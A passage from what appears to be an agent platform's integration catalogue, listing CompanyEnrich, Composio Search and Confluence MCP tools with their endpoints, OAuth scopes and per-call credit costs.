FacebookUrl - InstagramUrl Best match is used to determine the company in case of ambiguity. SPENDS CREDITS: this call is billed against the connected CompanyEnrich account's credit balance on the terms in the cost line above -- per call and, where it says so, per result returned. A free trial carries 500 credits. GET /me reports the remaining balance. POST /api/v1/companyenrich/companies/enrich. Scopes: api. companyenrich_post_companies_enrich_batch (read) — Batch enrich companies by domain via POST /companies/enrich/batch. **Cost:** 1 credit per domain enriched Enriches a list of companies using their domain names. Up to 50 domains can be provided in a single request. We map each domain to a unique company so lookups via domain are fast and reliable. It is the preferred way to enrich a company. Batching is recommended for larger lists of domains. It allows you to enrich multiple companies in a single request. Eliminating the need to make multiple requests to the API. Also the rate limiter would be able to handle more requests. SPENDS CREDITS: this call is billed against the connected CompanyEnrich account's credit balance on the terms in the cost line above -- per call and, where it says so, per result returned. A free trial carries 500 credits. GET /me reports the remaining balance. POST /api/v1/companyenrich/companies/enrich/batch. Scopes: api. companyenrich_post_companies_enrich_bulk (write) — Create a bulk company enrichment job (Create job) via POST /companies/enrich/bulk. **Cost:** 1 credit per domain successfully enriched (charged on completion) Creates an asynchronous bulk enrichment job for up to 10,000 domains. Returns a job ID immediately. The webhook URL will be called with a notification when processing completes. Use the status endpoint to track progress and retrieve results. SPENDS CREDITS: this call is billed against the connected CompanyEnrich account's credit balance on the terms in the cost line above -- per call and, where it says so, per result returned. A free trial carries 500 credits. GET /me reports the remaining balance. POST /api/v1/companyenrich/companies/enrich/bulk. Scopes: api. companyenrich_post_companies_search (read) — Search companies via POST /companies/search. **Cost:** 1 credit per company returned. 1 credit minimum if no results are found. **Notice**: Up to 10.000 results can be returned from this endpoint (page * pageSize can not exceed 10.000). If you need more results, please use the scroll endpoint. Searches companies based on given criteria. You can search by name, domain, industry, employees, revenue, founded year, and more. At most 100 companies are returned per request. If you need more results, please use the pagination parameters. SPENDS CREDITS: this call is billed against the connected CompanyEnrich account's credit balance on the terms in the cost line above -- per call and, where it says so, per result returned. A free trial carries 500 credits. GET /me reports the remaining balance. Size the same query for free first with: Count companies matching a search, Preview a company search. POST /api/v1/companyenrich/companies/search. Scopes: api. companyenrich_post_companies_search_async (write) — Create a company search export job (Create export job) via POST /companies/search/async. **Cost:** 1 credit per company returned (reserved when the job is created, settled on completion) Creates an asynchronous search export job for up to 50,000 companies. Supports both standard company search and similar-company search. Returns a job ID immediately. The webhook URL will be called with a notification when processing completes. Use the status endpoint to track progress and retrieve results. SPENDS CREDITS: this call is billed against the connected CompanyEnrich account's credit balance on the terms in the cost line above -- per call and, where it says so, per result returned. A free trial carries 500 credits. GET /me reports the remaining balance. Size the same query for free first with: Count companies matching a search. POST /api/v1/companyenrich/companies/search/async. Scopes: api. companyenrich_post_companies_search_count (read) — Count companies matching a search via POST /companies/search/count. **Cost:** FREE - No credits deducted Returns the total count of companies matching the given search criteria without retrieving the actual results. POST /api/v1/companyenrich/companies/search/count. Scopes: api. companyenrich_post_companies_search_preview (read) — Preview a company search via POST /companies/search/preview. **Cost:** FREE - No credits deducted **Requirements:** Requires **Scale** plans **Notice:** Returns top 25 results only Preview search for companies based on given criteria. You can search by name, domain, industry, employees, revenue, founded year, and more. This endpoint returns the top 25 results for free, perfect for previewing search results before running a full search. POST /api/v1/companyenrich/companies/search/preview. Scopes: api. companyenrich_post_companies_search_scroll (read) — Scroll a company search via POST /companies/search/scroll. **Cost:** 1 credit per company returned. 1 credit minimum if no results are found. Searches companies based on given criteria. You can search by name, domain, industry, employees, revenue, founded year, and more. At most 100 companies are returned per request. You can request the next page of results by using the `cursor` parameter. The cursor is a string that encodes the current position in the result set. In case on no cursor is provided, the first page of results is returned. You can then use the `next_cursor` parameter to get the next page of results. This will allow you to scroll over the results without having to keep track of the current page number and also allow paginating into more than 10.000 results. SPENDS CREDITS: this call is billed against the connected CompanyEnrich account's credit balance on the terms in the cost line above -- per call and, where it says so, per result returned. A free trial carries 500 credits. GET /me reports the remaining balance. Size the same query for free first with: Count companies matching a search, Preview a company search. POST /api/v1/companyenrich/companies/search/scroll. Scopes: api. companyenrich_post_companies_similar (read) — Find similar companies via POST /companies/similar. **Cost:** 5 credit per company returned. 5 credits if no results are found. Finds similar companies to the given company by id or domain. The POST route allows specifying further filtering parameters. At most 100 companies are returned per request. SPENDS CREDITS: this call is billed against the connected CompanyEnrich account's credit balance on the terms in the cost line above -- per call and, where it says so, per result returned. A free trial carries 500 credits. GET /me reports the remaining balance. Size the same query for free first with: Count similar companies, Preview similar companies. POST /api/v1/companyenrich/companies/similar. Scopes: api. companyenrich_post_companies_similar_count (read) — Count similar companies via POST /companies/similar/count. **Cost:** FREE - No credits deducted Returns the total count of similar companies matching the given search criteria without retrieving the actual results. CompanyEnrich's own OpenAPI document declares no success response for this endpoint (only 400, 401, 402, 404, 422 and 429), so no output schema is advertised. Its twin, Count companies matching a search, returns a bare integer. POST /api/v1/companyenrich/companies/similar/count. Scopes: api. companyenrich_post_companies_similar_preview (read) — Preview similar companies via POST /companies/similar/preview. **Cost:** FREE - No credits deducted **Requirements:** Requires **Scale** plans **Notice:** Returns top 25 results only Preview search for similar companies based on given criteria. You can search by domain, industry, employees, revenue, founded year, and more. This endpoint returns the top 25 similar companies for free, perfect for previewing results before running a full similar search. POST /api/v1/companyenrich/companies/similar/preview. Scopes: api. companyenrich_post_companies_similar_scroll (read) — Scroll similar companies via POST /companies/similar/scroll. **Cost:** 5 credit per company returned. 5 credits if no results are found. Finds similar companies to the given company by id or domain. The POST route allows specifying further filtering parameters. At most 100 companies are returned per request. You can request the next page of results by using the `cursor` parameter. The cursor is a string that encodes the current position in the result set. In case on no cursor is provided, the first page of results is returned. You can then use the `next_cursor` parameter to get the next page of results. This will allow you to scroll over the results without having to keep track of the current page number and also allow paginating into more than 10.000 results. SPENDS CREDITS: this call is billed against the connected CompanyEnrich account's credit balance on the terms in the cost line above -- per call and, where it says so, per result returned. A free trial carries 500 credits. GET /me reports the remaining balance. Size the same query for free first with: Count similar companies, Preview similar companies. POST /api/v1/companyenrich/companies/similar/scroll. Scopes: api. companyenrich_post_geo_cities (read) — Search cities via POST /geo/cities. Searches cities by name or country codes. Returns up to 100 cities per page. CompanyEnrich's endpoint reference states no credit cost for this call. Its pricing guide groups autocomplete, count, job-status and list endpoints with the free ones, but the cost is not documented here, so treat it as unstated rather than guaranteed free. POST /api/v1/companyenrich/geo/cities. Scopes: api. companyenrich_post_geo_countries (read) — Search countries via POST /geo/countries. Searches countries by name. Returns up to 100 countries per page. CompanyEnrich's endpoint reference states no credit cost for this call. Its pricing guide groups autocomplete, count, job-status and list endpoints with the free ones, but the cost is not documented here, so treat it as unstated rather than guaranteed free. POST /api/v1/companyenrich/geo/countries. Scopes: api. companyenrich_post_geo_states (read) — Search states via POST /geo/states. Searches states by name or country codes. Returns up to 100 states per page. CompanyEnrich's endpoint reference states no credit cost for this call. Its pricing guide groups autocomplete, count, job-status and list endpoints with the free ones, but the cost is not documented here, so treat it as unstated rather than guaranteed free. POST /api/v1/companyenrich/geo/states. Scopes: api. companyenrich_post_lists_companies (write) — Create a company list (Create list) via POST /lists/companies. **Cost:** - For search: 1 credit per company returned. 1 credit if no results are found. - For similar: 5 credits per company returned. 5 credits if no results are found. Creates a new list based on a search or similar company request. Up to first 5000 results can be selected to be added to the list. If no companies are found, the list is not created. SPENDS CREDITS: this call is billed against the connected CompanyEnrich account's credit balance on the terms in the cost line above -- per call and, where it says so, per result returned. A free trial carries 500 credits. GET /me reports the remaining balance. Size the same query for free first with: Count companies matching a search, Count similar companies. POST /api/v1/companyenrich/lists/companies. Scopes: api. companyenrich_post_people_email_bulk (write) — Create a bulk person email enrichment job (BETA) (Create bulk email enrichment job (BETA)) via POST /people/email/bulk. **BETA:** This endpoint is currently in beta and may change based on provider coverage, job orchestration, and response tuning. **Cost:** up to 10 credits per item (charged on completion for newly accessed found emails only) Creates an asynchronous bulk person email enrichment job for up to 1,000 lookup items. When `domain` is omitted for an item, current experience domains are tried in seniority order. Processing happens asynchronously in the background. Use the status endpoint to monitor progress and retrieve the results download URL. SPENDS CREDITS: this call is billed against the connected CompanyEnrich account's credit balance on the terms in the cost line above -- per call and, where it says so, per result returned. A free trial carries 500 credits. GET /me reports the remaining balance. POST /api/v1/companyenrich/people/email/bulk. Scopes: api. companyenrich_post_people_lookup (read) — Look up a person by email (Lookup person) via POST /people/lookup. **Cost:** 5 credits per successful call Looks up a person by email address. We resolve the company from the email domain first, then match the person by email local-part patterns. Returns the best deterministic match when found. SPENDS CREDITS: this call is billed against the connected CompanyEnrich account's credit balance on the terms in the cost line above -- per call and, where it says so, per result returned. A free trial carries 500 credits. GET /me reports the remaining balance. POST /api/v1/companyenrich/people/lookup. Scopes: api. companyenrich_post_people_search (read) — Search people via POST /people/search. **Cost:** 2 credits per person returned. 2 credits minimum if no results are found. **Notice**: Up to 10.000 results can be returned from this endpoint (page * pageSize can not exceed 10.000). If you need more results, please use the scroll endpoint. Searches people based on given criteria using page-based pagination. SPENDS CREDITS: this call is billed against the connected CompanyEnrich account's credit balance on the terms in the cost line above -- per call and, where it says so, per result returned. A free trial carries 500 credits. GET /me reports the remaining balance. Size the same query for free first with: Count companies matching a search. POST /api/v1/companyenrich/people/search. Scopes: api. companyenrich_post_people_search_async (write) — Create a people search export job (Create export job) via POST /people/search/async. **Cost:** 2 credits per person returned (reserved when the job is created, settled on completion) Creates an asynchronous search export job for up to 50,000 people. Returns a job ID immediately. The webhook URL will be called with a notification when processing completes. Use the status endpoint to track progress and retrieve results. SPENDS CREDITS: this call is billed against the connected CompanyEnrich account's credit balance on the terms in the cost line above -- per call and, where it says so, per result returned. A free trial carries 500 credits. GET /me reports the remaining balance. POST /api/v1/companyenrich/people/search/async. Scopes: api. companyenrich_post_people_search_scroll (read) — Scroll a people search via POST /people/search/scroll. **Cost:** 2 credits per person returned. 2 credits minimum if no results are found. Searches people based on given criteria using cursor-based pagination. You can request the next page of results by using the `cursor` parameter. The cursor is a string that encodes the current position in the result set. In case no cursor is provided, the first page of results is returned. You can then use the `next_cursor` parameter to get the next page of results. This will allow you to scroll over the results without having to keep track of the current page number and also allow paginating into more than 10.000 results. SPENDS CREDITS: this call is billed against the connected CompanyEnrich account's credit balance on the terms in the cost line above -- per call and, where it says so, per result returned. A free trial carries 500 credits. GET /me reports the remaining balance. Size the same query for free first with: Count companies matching a search. POST /api/v1/companyenrich/people/search/scroll. Scopes: api. companyenrich_put_lists_companies_by_id (write) — Update a company list (Update list) via PUT /lists/companies/{id}. Updates a list's properties. CompanyEnrich's endpoint reference states no credit cost for this call. Its pricing guide groups autocomplete, count, job-status and list endpoints with the free ones, but the cost is not documented here, so treat it as unstated rather than guaranteed free. PUT /api/v1/companyenrich/lists/companies/{id}. Scopes: api. ================================================================================ ## Composio Search URL: https://www.agenticfabriq.com/integrations/composio Section: Integrated Tools Composio Search — 22 MCP tools Provider key: composio. Scopes: tool_execution:write. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. composio_search_amazon (read) — Search Amazon for products across different country marketplaces. This tool searches Amazon's product catalog with support for multiple international Amazon domains/marketplaces. Each domain serves a different country with local pricing, currency, shipping options, and product availability. Perfect for product research, international price comparison, and finding products available in specific countries. Returns product details, pricing in local currency, ratings, reviews, and seller information. Examples: query="gaming laptop" + amazon_domain="amazon.com" for US marketplace query="coffee maker" + amazon_domain="amazon.de" for German marketplace query="iPhone 15" + amazon_domain="amazon.co.uk" for UK marketplace with GBP pricing Executed as Composio tool COMPOSIO_SEARCH_AMAZON (toolkit composio_search, version 20260903_00) via POST /api/v3/tools/execute/COMPOSIO_SEARCH_AMAZON. POST /api/v1/composio/search/amazon. Scopes: tool_execution:write. composio_search_duck_duck_go (read) — The DuckDuckGoSearch class utilizes the Composio DuckDuckGo Search API to perform searches, focusing on web information and details. It leverages the DuckDuckGo search engine via the Composio DuckDuckGo Search API to retrieve relevant web data based on the provided query. Executed as Composio tool COMPOSIO_SEARCH_DUCK_DUCK_GO (toolkit composio_search, version 20260903_00) via POST /api/v3/tools/execute/COMPOSIO_SEARCH_DUCK_DUCK_GO. POST /api/v1/composio/search/duck_duck_go. Scopes: tool_execution:write. composio_search_event (read) — Search for upcoming events, concerts, festivals, conferences, and other activities. Supports location-based search (city, neighborhood, address), date filtering (today, tomorrow, weekend, next week/month), virtual event discovery, international search with 100+ languages and countries, and pagination. If results are sparse or events_results_state is 'Fully empty', treat as limited coverage and try COMPOSIO_SEARCH_WEB instead of retrying. Rate limit: ~2 requests/second; apply exponential backoff (1s, 2s, 4s) on 429 errors. Examples: "Tech conferences" in "San Francisco, CA" with gl="us" and hl="en" | "Virtual networking events" with htichips="event_type:Virtual-Event,date:next_week" | "Music festivals" in "London, UK" with gl="uk" and hl="en" Executed as Composio tool COMPOSIO_SEARCH_EVENT (toolkit composio_search, version 20260903_00) via POST /api/v3/tools/execute/COMPOSIO_SEARCH_EVENT. POST /api/v1/composio/search/event. Scopes: tool_execution:write. composio_search_exa_answer (read) — Get answers with citations using the Exa API. DEPRECATED: Use COMPOSIO_SEARCH_WEB instead. Executed as Composio tool COMPOSIO_SEARCH_EXA_ANSWER (toolkit composio_search, version 20260903_00) via POST /api/v3/tools/execute/COMPOSIO_SEARCH_EXA_ANSWER. POST /api/v1/composio/search/exa_answer. Scopes: tool_execution:write. composio_search_exa_similarlink (read) — Perform a search to find similar links and retrieve a list of relevant results. The search can optionally return contents. Executed as Composio tool COMPOSIO_SEARCH_EXA_SIMILARLINK (toolkit composio_search, version 20260903_00) via POST /api/v3/tools/execute/COMPOSIO_SEARCH_EXA_SIMILARLINK. POST /api/v1/composio/search/exa_similarlink. Scopes: tool_execution:write. composio_search_fetch_url_content (read) — Fetch and extract clean, readable page text (markdown) from public web pages (HTML content) using the Exa API. Use when you need to retrieve actual content from search results or documentation links to extract setup steps, requirements, or citations. Only works with web page URLs - does not support direct links to images, PDFs, or other binary files. Executed as Composio tool COMPOSIO_SEARCH_FETCH_URL_CONTENT (toolkit composio_search, version 20260903_00) via POST /api/v3/tools/execute/COMPOSIO_SEARCH_FETCH_URL_CONTENT. POST /api/v1/composio/search/fetch_url_content. Scopes: tool_execution:write. composio_search_finance (read) — Get real-time stock prices, market data, financial news, and company information with historical analysis. Retrieves stock quotes, market indices, cryptocurrency prices, exchange rates, and financial news. Supports discrete time windows (1D, 5D, 1M, 6M, YTD, 1Y, 5Y, MAX) for historical analysis. Returns numeric time-series graph data, summary information, and key events (6M+ windows only). Always verify finance_results_state in the response — HTTP 200 with status='Success' can still return empty data. Derived indicators (MACD, moving averages) are not included and must be computed from returned price series. Examples: query="AAPL:NASDAQ" + window="1Y" for Apple's 1-year chart query="GOOGL:NASDAQ" + window="6M" + hl="en" for Alphabet with news events query="WMT:NYSE" + window="MAX" for Walmart's full history query="BTC-USD" for Bitcoin query="EUR-USD" for Euro/USD rate Executed as Composio tool COMPOSIO_SEARCH_FINANCE (toolkit composio_search, version 20260903_00) via POST /api/v3/tools/execute/COMPOSIO_SEARCH_FINANCE. POST /api/v1/composio/search/finance. Scopes: tool_execution:write. composio_search_flights (read) — Search for flights with comprehensive pricing, schedule, and airline information. This tool finds available flights between cities/airports with detailed pricing, multiple airlines, departure/arrival times, flight duration, and booking options. Supports round-trip and one-way searches, multiple passenger types (adults, children, infants), different travel classes, and international pricing in various currencies. Perfect for travel planning, price comparison, and finding the best flight options. You can use either: 1. Natural language query: query="Lahore to San Francisco" or query="NYC to London on March 15, 2025" 2. Structured parameters: departure_id="JFK", arrival_id="LAX", outbound_date="2025-12-25" Examples: query="Lahore to San Francisco" query="New York to London on December 25, 2025" departure_id="JFK" + arrival_id="LAX" + outbound_date="2025-12-25" + return_date="2025-12-30" departure_id="LGA" + arrival_id="LHR" + outbound_date="2025-06-01" + adults=2 Executed as Composio tool COMPOSIO_SEARCH_FLIGHTS (toolkit composio_search, version 20260903_00) via POST /api/v3/tools/execute/COMPOSIO_SEARCH_FLIGHTS. POST /api/v1/composio/search/flights. Scopes: tool_execution:write. composio_search_google_maps (read) — Performs a location-specific search via the Composio Google Maps Search API, returning results under `results.local_results` (multi-place queries) or `results.place_results` (single place); always handle both branches. Fields like `opening_hours`, `phone`, `rating`, and `user_reviews` may be absent — treat missing values as unknown. Check `business_status`: closed businesses (`CLOSED_PERMANENTLY`, `TEMPORARILY_CLOSED`) can appear in results; filter for `OPERATIONAL` entries. Rate-limit calls to ~1 req/sec; HTTP 429 / `OVER_QUERY_LIMIT` indicates quota exhaustion. `gps_coordinates` may appear under `place_results` or inside individual `local_results` items. Executed as Composio tool COMPOSIO_SEARCH_GOOGLE_MAPS (toolkit composio_search, version 20260903_00) via POST /api/v3/tools/execute/COMPOSIO_SEARCH_GOOGLE_MAPS. POST /api/v1/composio/search/google_maps. Scopes: tool_execution:write. composio_search_groq_chat (read) — Execute fast LLM inference using Groq's optimized hardware and API. Groq provides ultra-fast inference for open-source models including LLaMA 3, Mixtral, and Gemma via OpenAI-compatible chat completions API. Use cases: real-time chat, content generation, Q&A, code generation, summarization, translation. For structured JSON output, instruct the model explicitly to return valid JSON with no markdown code fences or prose; validate with json.loads — batches of 150+ items are prone to malformed JSON. Strip triple-backtick wrappers from code/JSON outputs before parsing. Always validate that the response contains at least one choice with non-empty message.content before downstream use. On HTTP 429 or 5xx errors, use exponential backoff with a small retry cap; limit concurrency to ~3 concurrent calls. Model-reported character/word counts are approximate — verify independently when strict limits matter. Executed as Composio tool COMPOSIO_SEARCH_GROQ_CHAT (toolkit composio_search, version 20260903_00) via POST /api/v3/tools/execute/COMPOSIO_SEARCH_GROQ_CHAT. POST /api/v1/composio/search/groq_chat. Scopes: tool_execution:write. composio_search_hotels (read) — Search for hotels and vacation rentals with comprehensive filtering and pricing. Returns results under results.properties and results.ads; extract numeric pricing from rate_per_night.extracted_lowest, total_rate.extracted_lowest, or extracted_price (fields vary by property). Deduplicate across sections using property_token. Additional pages available via serpapi_pagination.next_page_token. Start with minimal filters — combining max_price, min_price, hotel_class, free_cancellation, gl, or hl too strictly can return empty results. Examples: q="New York" + check_in_date="2025-06-01" + check_out_date="2025-06-05" + adults=2 q="Paris" + check_in_date="2025-03-15" + check_out_date="2025-03-18" + min_price=100 + max_price=300 q="Tokyo" + check_in_date="2025-12-20" + check_out_date="2025-12-25" + hotel_class="4,5" + sort_by=3 Executed as Composio tool COMPOSIO_SEARCH_HOTELS (toolkit composio_search, version 20260903_00) via POST /api/v3/tools/execute/COMPOSIO_SEARCH_HOTELS. POST /api/v1/composio/search/hotels. Scopes: tool_execution:write. composio_search_image (read) — The ImageSearch class performs an image search using the Composio Image Search API, targeting image metadata and URLs (not binary data) via Google Images. Returns results under `results.images_results`; each entry exposes `original` (full resolution) and `thumbnail` (low resolution) URLs — verify URLs are publicly accessible before passing downstream. Check `license_details_url` per result before commercial reuse. The number of results is controlled by `num` (1–100, default 20). For >100 images, paginate using `serpapi_pagination.next`. Rate limit: throttle to ~1–2 calls/second; apply exponential backoff on HTTP 429. Executed as Composio tool COMPOSIO_SEARCH_IMAGE (toolkit composio_search, version 20260903_00) via POST /api/v3/tools/execute/COMPOSIO_SEARCH_IMAGE. POST /api/v1/composio/search/image. Scopes: tool_execution:write. composio_search_news (read) — Search for the latest news articles and current events with smart filtering. Searches news-oriented sources only (not blogs, docs, or company pages). Results nest under `data.results.news_results`; a 200 response with empty `news_results` or `news_results_state: 'Fully empty'` means no results — broaden query or `when` window. Auto-correction (`showing_results_for`) can silently redirect queries; verify returned articles match intended topic. Only first page returned by default; follow `pagination.next` for more pages. Supports 100+ languages and countries. Use advanced operators like 'site:' for publisher filtering directly in your query. Examples: query="artificial intelligence" + when="w" for past week's AI news query="climate change" + gl="us" + hl="en" for US climate news query="business news" + when="d" for today's business news query="site:bbc.com tesla" + when="d" for today's BBC Tesla news Executed as Composio tool COMPOSIO_SEARCH_NEWS (toolkit composio_search, version 20260903_00) via POST /api/v3/tools/execute/COMPOSIO_SEARCH_NEWS. POST /api/v1/composio/search/news. Scopes: tool_execution:write. composio_search_nppesnpi_lookup (read) — Lookup US healthcare provider details from the CMS NPI Registry (NPPES) using an NPI number or search filters. Returns normalized structured fields including provider name, taxonomy/specialty, addresses, identifiers, and endpoints. Use this for deterministic, authoritative provider lookups when you need structured NPI/NPPES data rather than noisy web search results. Executed as Composio tool COMPOSIO_SEARCH_NPPESNPI_LOOKUP (toolkit composio_search, version 20260903_00) via POST /api/v3/tools/execute/COMPOSIO_SEARCH_NPPESNPI_LOOKUP. POST /api/v1/composio/search/nppesnpi_lookup. Scopes: tool_execution:write. composio_search_scholar (read) — Scholar API scrapes Google Scholar search results via SERP API, returning academic papers and scholarly articles. Results are nested under results.organic_results; access this key explicitly and use defensive .get() patterns as fields like DOI, citation_count, and author may be absent. Many results are paywalled — rely on titles, abstracts, and snippets when full text is unavailable. Results may include duplicate preprint and journal versions of the same work — deduplicate by DOI or normalized title. Only the first page is returned by default; follow pagination.next for additional pages. PDF links appear only under organic_results[n].resources where file_format is 'PDF'. Results may lag on recent work. Executed as Composio tool COMPOSIO_SEARCH_SCHOLAR (toolkit composio_search, version 20260903_00) via POST /api/v3/tools/execute/COMPOSIO_SEARCH_SCHOLAR. POST /api/v1/composio/search/scholar. Scopes: tool_execution:write. composio_search_sec_filings (read) — Retrieve authoritative SEC EDGAR filing metadata (10-K/10-Q/8-K etc.) and construct primary document/index URLs using SEC's public data APIs. Use when you need to search for company financial filings, annual reports, quarterly reports, or other SEC-mandated disclosures. Executed as Composio tool COMPOSIO_SEARCH_SEC_FILINGS (toolkit composio_search, version 20260903_00) via POST /api/v3/tools/execute/COMPOSIO_SEARCH_SEC_FILINGS. POST /api/v1/composio/search/sec_filings. Scopes: tool_execution:write. composio_search_shopping (read) — Search for products with advanced price filtering, location targeting, and deal discovery. This tool provides comprehensive product search with price range filtering, geographic targeting for local retailers, sorting by price (low to high, high to low), and filtering for free shipping or sale items. Perfect for product research, price comparison, finding deals, and discovering where to buy items. Returns product details, prices, availability, seller information, and reviews. Examples: query="gaming laptop" + min_price=800 + max_price=1500 + sort_by=1 query="running shoes" + location="Seattle, WA" + free_shipping=True query="coffee maker" + on_sale=True + gl="us" Executed as Composio tool COMPOSIO_SEARCH_SHOPPING (toolkit composio_search, version 20260903_00) via POST /api/v3/tools/execute/COMPOSIO_SEARCH_SHOPPING. POST /api/v1/composio/search/shopping. Scopes: tool_execution:write. composio_search_tavily (read) — The Composio LLM Search class serves as a gateway to the Composio LLM Search API, allowing users to perform searches across a broad range of content with multiple filtering options. It accommodates complex queries, including both keyword and phrase searches, with additional parameters to fine-tune the search results. This class enables a tailored search experience by allowing users to specify the search depth, include images and direct answers, apply domain-specific filters, and control the number of results returned. It is designed to meet various search requirements, from quick lookups to in-depth research. Executed as Composio tool COMPOSIO_SEARCH_TAVILY (toolkit composio_search, version 20260903_00) via POST /api/v3/tools/execute/COMPOSIO_SEARCH_TAVILY. POST /api/v1/composio/search/tavily. Scopes: tool_execution:write. composio_search_trends (read) — Discover trending topics, search patterns, and popularity data. Analyzes search interest over time, compares multiple topics, and identifies rising trends. Returns normalized 0–100 relative interest indices (not absolute search volumes) via interest_over_time.timeline_data; values are objects with 'extracted_value' (may be string '<1'). The final timeline entry may have partial_data=true for incomplete periods. Data typically lags ~24–48 hours. Response schema varies by data_type: TIMESERIES returns timeline_data, GEO_MAP returns regional breakdowns, RELATED_TOPICS/RELATED_QUERIES return topic/query lists — parse accordingly. Ideal for market research, content planning, and SEO analysis. Executed as Composio tool COMPOSIO_SEARCH_TRENDS (toolkit composio_search, version 20260903_00) via POST /api/v3/tools/execute/COMPOSIO_SEARCH_TRENDS. POST /api/v1/composio/search/trends. Scopes: tool_execution:write. composio_search_trip_advisor (read) — Search TripAdvisor for travel recommendations and itinerary planning without authentication (unlike TRIPADVISOR_CONTENT_API_SEARCH_LOCATIONS and other TripAdvisor tools requiring an active connection). Searches attractions, restaurants, hotels, tours, and activities. Returns detailed ratings, reviews, photos, and traveler recommendations. Response data is nested under results → locations. Results may include evergreen articles alongside specific venues; verify result type before use in itineraries. Examples: query="things to do in Paris" + ssrc="A" for attractions only | query="best restaurants in Tokyo" + ssrc="r" | query="hotels in Bali" + ssrc="h" + tripadvisor_domain="tripadvisor.com" Executed as Composio tool COMPOSIO_SEARCH_TRIP_ADVISOR (toolkit composio_search, version 20260903_00) via POST /api/v3/tools/execute/COMPOSIO_SEARCH_TRIP_ADVISOR. POST /api/v1/composio/search/trip_advisor. Scopes: tool_execution:write. composio_search_walmart (read) — Search Walmart for products with price filtering. This tool searches Walmart's product catalog including groceries, electronics, clothing, home goods, pharmacy, and auto services. Supports basic price range filtering for finding products within budget. Results may appear under response.data.results.shopping_results or data.products — do not hardcode a single response shape. Results mix sponsored and organic listings; check ad/sponsorship flags when ranking. Some products omit fields like bought_last_month; handle nulls in sorting logic. Examples: query="wireless headphones" + min_price=50 + max_price=200 query="gaming laptop" + max_price=800 query="organic coffee" + min_price=10 Executed as Composio tool COMPOSIO_SEARCH_WALMART (toolkit composio_search, version 20260903_00) via POST /api/v3/tools/execute/COMPOSIO_SEARCH_WALMART. POST /api/v1/composio/search/walmart. Scopes: tool_execution:write. composio_search_web (read) — Perform a web search using the Exa API. Returns a nested structure: narrative summary under results.answer, sources under results.citations (and optionally results.organic_results). Prioritize results.citations as primary evidence over results.answer, which can be vague. Only indexes publicly available content — no paywalled, login-gated, or private content. No date filters enforced; include recency terms in query and verify dates in snippets manually. Throttle to ~1–2 requests/second; bursty queries trigger HTTP 429. Large responses may be stored remotely — use structure_info to locate results.answer and results.citations. Executed as Composio tool COMPOSIO_SEARCH_WEB (toolkit composio_search, version 20260903_00) via POST /api/v3/tools/execute/COMPOSIO_SEARCH_WEB. POST /api/v1/composio/search/web. Scopes: tool_execution:write. ================================================================================ ## Confluence URL: https://www.agenticfabriq.com/integrations/confluence Section: Integrated Tools Confluence — 341 MCP tools Provider key: confluence. Scopes: delete:attachment:confluence, delete:comment:confluence, delete:custom-content:confluence, delete:database:confluence, delete:embed:confluence, delete:folder:confluence, delete:page:confluence, delete:whiteboard:confluence, manage:confluence-configuration, read:app-data:confluence, read:attachment:confluence, read:audit-log:confluence, read:comment:confluence, read:configuration:confluence, read:confluence-content.all, read:confluence-content.permission, read:confluence-content.summary, read:confluence-groups, read:confluence-space.summary, read:confluence-user, read:content-details:confluence, read:content.metadata:confluence, read:custom-content:confluence, read:database:confluence, read:embed:confluence, read:folder:confluence, read:hierarchical-content:confluence, read:label:confluence, read:page:confluence, read:space.permission:confluence, read:space:confluence, read:task:confluence, read:user.property:confluence, read:user:confluence, read:watcher:confluence, read:whiteboard:confluence, readonly:content.attachment:confluence, search:confluence, write:app-data:confluence, write:attachment:confluence, write:audit-log:confluence, write:comment:confluence, write:configuration:confluence, write:confluence-content, write:confluence-file, write:confluence-groups, write:confluence-props, write:confluence-space, write:custom-content:confluence, write:database:confluence, write:embed:confluence, write:folder:confluence, write:page:confluence, write:space.permission:confluence, write:space:confluence, write:task:confluence, write:user.property:confluence, write:whiteboard:confluence. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. confluence_delete_admin_key (write, destructive) — Disable admin key via DELETE /admin-key DELETE /api/v1/confluence/admin-key. Scopes: none. confluence_delete_app_properties_by_propertykey (write, destructive) — Delete forge app property via DELETE /app/properties/{propertyKey} DELETE /api/v1/confluence/app/properties/{propertyKey}. Scopes: write:app-data:confluence. confluence_delete_attachments_by_attachment_id_properties_by_property_id (write, destructive) — Delete attachment property by id via DELETE /attachments/{attachment-id}/properties/{property-id} DELETE /api/v1/confluence/attachments/{attachment_id}/properties/{property_id}. Scopes: read:attachment:confluence, write:attachment:confluence. confluence_delete_attachments_by_id (write, destructive) — Delete attachment via DELETE /attachments/{id} DELETE /api/v1/confluence/attachments/{id}. Scopes: delete:attachment:confluence. confluence_delete_blogposts_by_blogpost_id_properties_by_property_id (write, destructive) — Delete blogpost property by id via DELETE /blogposts/{blogpost-id}/properties/{property-id} DELETE /api/v1/confluence/blogposts/{blogpost_id}/properties/{property_id}. Scopes: read:page:confluence, write:page:confluence. confluence_delete_blogposts_by_id (write, destructive) — Delete blog post via DELETE /blogposts/{id} DELETE /api/v1/confluence/blogposts/{id}. Scopes: delete:page:confluence. confluence_delete_comments_by_comment_id_properties_by_property_id (write, destructive) — Delete comment property by id via DELETE /comments/{comment-id}/properties/{property-id} DELETE /api/v1/confluence/comments/{comment_id}/properties/{property_id}. Scopes: read:comment:confluence, write:comment:confluence. confluence_delete_custom_content_by_custom_content_id_properties_by_property_id (write, destructive) — Delete custom content property by id via DELETE /custom-content/{custom-content-id}/properties/{property-id} DELETE /api/v1/confluence/custom-content/{custom_content_id}/properties/{property_id}. Scopes: read:custom-content:confluence, write:custom-content:confluence. confluence_delete_custom_content_by_id (write, destructive) 